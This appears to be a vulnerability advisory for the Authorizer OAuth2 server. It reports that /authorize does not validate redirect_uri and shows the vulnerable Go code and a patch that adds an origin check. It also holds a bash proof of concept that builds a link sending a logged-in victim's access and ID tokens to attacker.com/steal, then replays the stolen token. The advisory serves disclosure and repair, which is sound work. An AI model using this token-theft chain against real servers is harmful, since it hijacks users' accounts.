Authorizer: Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL

 1redirectURI := strings.TrimSpace(gc.Query("redirect_uri"))
 2// ... no IsValidOrigin() call ...
 3// response_type=token path (line ~263):
 4if strings.Contains(redirectURI, "?") {
 5    redirectURI = redirectURI + "&" + params
 6} else {
 7    redirectURI = redirectURI + "?" + params
 8}
 9handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL

 1# 1. Obtain client_id (no authentication required)
 2CLIENT_ID=$(curl -s http://TARGET/graphql \
 3  -H "Content-Type: application/json" \
 4  -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])")
 5 
 6echo "client_id: $CLIENT_ID"
 7 
 8# 2. Craft the malicious URL and send to victim (victim must be logged in)
 9# When victim opens this URL, tokens are delivered to attacker.com
10MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query"
11 
12echo "Send to victim: $MALICIOUS_URL"
13 
14# 3. Attacker receives 302 redirect with all tokens:
15# https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ...
16 
17# 4. Validate stolen token
18curl -s http://TARGET/userinfo \
19  -H "Authorization: Bearer STOLEN_ACCESS_TOKEN"
20# Returns: {"email":"victim@example.com","id":"...","roles":["user"]}

 1// In authorize.go, after reading redirect_uri:
 2if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
 3    handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{
 4        "error":             "invalid_request",
 5        "error_description": "redirect_uri is not allowed",
 6    }, http.StatusBadRequest)
 7    return
 8}